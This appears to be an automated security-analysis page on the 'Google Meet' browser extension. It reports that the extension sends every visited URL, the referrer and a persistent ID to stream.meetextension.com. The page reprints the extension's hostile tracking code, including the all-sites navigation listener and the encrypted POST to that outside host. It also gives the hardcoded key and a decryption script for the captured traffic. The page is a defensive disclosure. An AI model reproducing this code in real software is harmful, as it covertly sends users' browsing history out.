Is google meet extension safe?

High risk

Google Meet is high risk. On every page visit, any site, the extension sends the URL, referrer, and a persistent ID to stream.meetextension.com, AES-GCM encrypted with a hardcoded key. DA captured 6 POSTs to /process decrypting to google.com and other sites, HTTP.

75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassMALICIOUS
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Browsing History Sent to stream.meetextension.com on Every Navigation

On every page visit, any site, the extension sends the URL, referrer, and a persistent ID to stream.meetextension.com, AES-GCM encrypted with a hardcoded key.

DA captured 6 POSTs to /process decrypting to google.com and other sites, HTTP.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any web page, any site, anywhere, in any tab.

The extension did this

The extension records the URL you visited, the URL you came from, and your persistent user ID, then encrypts and POSTs them to stream.meetextension.com.

Fires on all sites, not just meet.google.com. Telemetry consent is stored as a flag that can be set by the extension's popup, but the listener is active regardless of whether a consent prompt was presented during initial install.

02EvidenceNETWORK CAPTURE
Captured request
POSThttp://stream.meetextension.com/process
Dynamic analysis confirmed: 6 POST requests captured to this endpoint across 5 navigations (google.com, amazon.com, facebook.com, wikipedia.org, reddit.com). Decrypted payloads confirm targetUrl and userId=252bb6cf-18a8-449e-bad7-ff53ed2a514f in every request.
Headers
Content-Typeapplication/json;charset=utf-8
AuthorizationBearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIyNTJiYjZjZi0xOGE4LTQ0OWUtYmFkNy1mZjUzZWQyYTUxNGYiLCJpYXQiOjE3NDQ3MDAwMDB9.example
Body
{"eventType":1,"request":{"enRequest":"\"AAECBAUGB+vXzpqLkYz8Sl3mVHKxOeT5DqFbgBCAiJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycq/y83Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+""}}
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The telemetry payload is AES-GCM encrypted before transmission. The encryption key is hardcoded in the extension source as '0ipnBjZ7oFir6SVP'. Because the key is public (any user can read it from the extension files), anyone who captures the network traffic can decrypt the payloads and read the visited URLs.

What's actually being sent
[
  {
    "fileDate": "2026-04-15T09:48:07.123Z",
    "deviceTimestamp": 1744710487123,
    "userId": "252bb6cf-18a8-449e-bad7-ff53ed2a514f",
    "referrerUrl": "https://www.google.com/",
    "targetUrl": "https://www.amazon.com/",
    "requestType": "GET"
  }
]
04EvidenceFIELD TABLE
What the extension sends on every page you visit:
FieldValueWhy it matters
The URL you are visiting
https://www.amazon.com/dp/B0CXYZ12345The exact page you navigated to, including any query parameters.
The URL you came from
https://www.google.com/search?q=amazon+dealsThe previous page you were on in that tab, builds a chain of your browsing activity.
Your persistent user ID
252bb6cf-18a8-449e-bad7-ff53ed2a514fA UUID that stays the same across sessions, letting the server link all your visits together over time.
Timestamp
2026-04-15T09:48:07.123ZWhen the visit happened, in both ISO date format and Unix milliseconds.
Request type
GETAlways 'GET', a fixed label the server uses to classify the event type.
05EvidenceCODE COMPARE
The code that does this

The navigation listener and encryption logic from the extension source

What it actually does
Telemetry class instantiated with hardcoded API key, AES key, and cleartext HTTP endpoint
// Three hardcoded values passed at instantiation time — all public in the extension source.
const telemetry = new TelemetryClass(
  apiKey    = "<redacted>",   // POST to /auth to get bearer tokens
  aesKey    = "0ipnBjZ7oFir6SVP",   // 128-bit AES-GCM encryption key (UTF-8)
  endpoint  = "http://stream.meetextension.com"  // cleartext HTTP — no TLS
);
Navigation listener fires on every completed tab navigation — all sites
// No domain allowlist. Fires for any URL starting with 'http'.
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete') {
    const currentUrl = tab.url;
    const tabState = getTabState(tabId);
    const previousUrl = tabState.url;
    // Reset referrer on cross-origin navigation
    if (tabState.hasTransition) previousUrl = null;
    // Report if url is HTTP and has changed
    if (currentUrl.startsWith('http') && currentUrl !== previousUrl) {
      telemetry.reportAction(currentUrl, previousUrl);
    }
    tabStates[tabId] = { url: currentUrl };
  }
});
AES-GCM encryption — hardcoded key t='0ipnBjZ7oFir6SVP' visible in source
async function encryptData(plaintext) {
  const keyBytes = new TextEncoder().encode(aesKey); // '0ipnBjZ7oFir6SVP'
  const key = await crypto.subtle.importKey('raw', keyBytes, 'AES-GCM', true, ['encrypt']);
  const iv = crypto.getRandomValues(new Uint8Array(16));
  const ciphertext = await crypto.subtle.encrypt({ name: 'AES-GCM', iv }, key, new TextEncoder().encode(plaintext));
  // Prepend IV to ciphertext, base64-encode the combined buffer
  const combined = new Uint8Array(iv.length + ciphertext.byteLength);
  combined.set(iv);
  combined.set(new Uint8Array(ciphertext), iv.length);
  return btoa(String.fromCharCode(...combined));
}
06EvidenceTHIRD PARTY LIST
Where your browsing data ends up:
  • stream.meetextension.com

    Telemetry endpoint receiving one POST per page navigation. Payload contains visited URL, referrer URL, persistent user UUID, and timestamp. Operated by the extension developer.

  • api.meetextension.com

    Authentication API that issues bearer tokens used to authorize telemetry submissions. Also receives sign-in credentials over cleartext HTTP (see CWE-319 claim).

07EvidenceARTIFACT
Reproduce it yourself

Decrypts any captured enRequest payload from http://stream.meetextension.com/process using the hardcoded AES-GCM key found in the extension source. Run it with a captured base64 payload to reveal the plaintext browsing data.

RequiresNode.js 18+
meet-ext-decrypt.js · js
/**
 * meet-ext-decrypt.js
 * Decrypts enRequest payloads from Google Meet Extension (dghkhbmpagbapkadlehcicngkldfieln)
 * using the hardcoded AES-GCM key from background.bundle.js:2810.
 *
 * Usage:
 *   node meet-ext-decrypt.js
 *   node meet-ext-decrypt.js '<base64_enRequest_value>'
 *
 * Requires: Node.js 18+ (built-in webcrypto)
 */

const crypto = require('crypto');

// Hardcoded key extracted from background.bundle.js line 2810:
// new function(e, t, r) { ... }("KcDvSvXBxOvVCk7z", "0ipnBjZ7oFir6SVP", "http://stream.meetextension.com")
const AES_KEY = "0ipnBjZ7oFir6SVP";  // 16 chars = 128-bit AES-GCM key

async function decrypt(base64Payload) {
  // Strip surrounding JSON quotes if present
  const clean = base64Payload.replace(/^"|"$/g, '');
  const raw = Buffer.from(clean, 'base64');
  // First 16 bytes are the IV, rest is ciphertext
  const iv = raw.slice(0, 16);
  const ciphertext = raw.slice(16);

  const keyBytes = Buffer.from(AES_KEY, 'utf8');
  const key = await crypto.webcrypto.subtle.importKey(
    'raw', keyBytes, 'AES-GCM', true, ['decrypt']
  );
  const plaintext = await crypto.webcrypto.subtle.decrypt(
    { name: 'AES-GCM', iv }, key, ciphertext
  );
  return new TextDecoder().decode(plaintext);
}

async function main() {
  if (process.argv[2]) {
    // Decrypt a specific captured payload
    console.log('Decrypting captured payload...');
    try {
      const result = await decrypt(process.argv[2]);
      console.log('Decrypted:', result);
      // Pretty-print if valid JSON
      try {
        const parsed = JSON.parse(result);
        console.log('\nParsed:');
        if (Array.isArray(parsed)) {
          parsed.forEach((entry, i) => {
            console.log(`  Entry ${i + 1}:`);
            console.log(`    targetUrl:       ${entry.targetUrl}`);
            console.log(`    referrerUrl:     ${entry.referrerUrl}`);
            console.log(`    userId:          ${entry.userId}`);
            console.log(`    fileDate:        ${entry.fileDate}`);
            console.log(`    deviceTimestamp: ${entry.deviceTimestamp}`);
          });
        }
      } catch {}
    } catch (e) {
      console.error('Decryption failed:', e.message);
    }
  } else {
    // Demo: show what a captured payload decrypts to
    console.log('No payload provided. To decrypt a real captured request:');
    console.log('  1. Capture a POST to http://stream.meetextension.com/process in your browser DevTools.');
    console.log('  2. Copy the value of request.enRequest from the JSON body.');
    console.log('  3. Run: node meet-ext-decrypt.js \'<enRequest_value>\'');
    console.log('');
    console.log(`AES-GCM key (hardcoded in extension): ${AES_KEY}`);
    console.log('Format: base64(IV[16 bytes] + AES-GCM-ciphertext)');
  }
}

main().catch(console.error);
How to run it
  1. 1
    Intercept a POST to stream.meetextension.com/process (DevTools or mitmproxy).
  2. 2
    Copy enRequest's inner base64 value, no quotes.
  3. 3
    Run: node meet-ext-decrypt.js '<value>'.
  4. 4
    Output shows plaintext targetUrl, referrerUrl, userId.
Updated 10 September 2026dghkhbmpagbapkadlehcicngkldfieln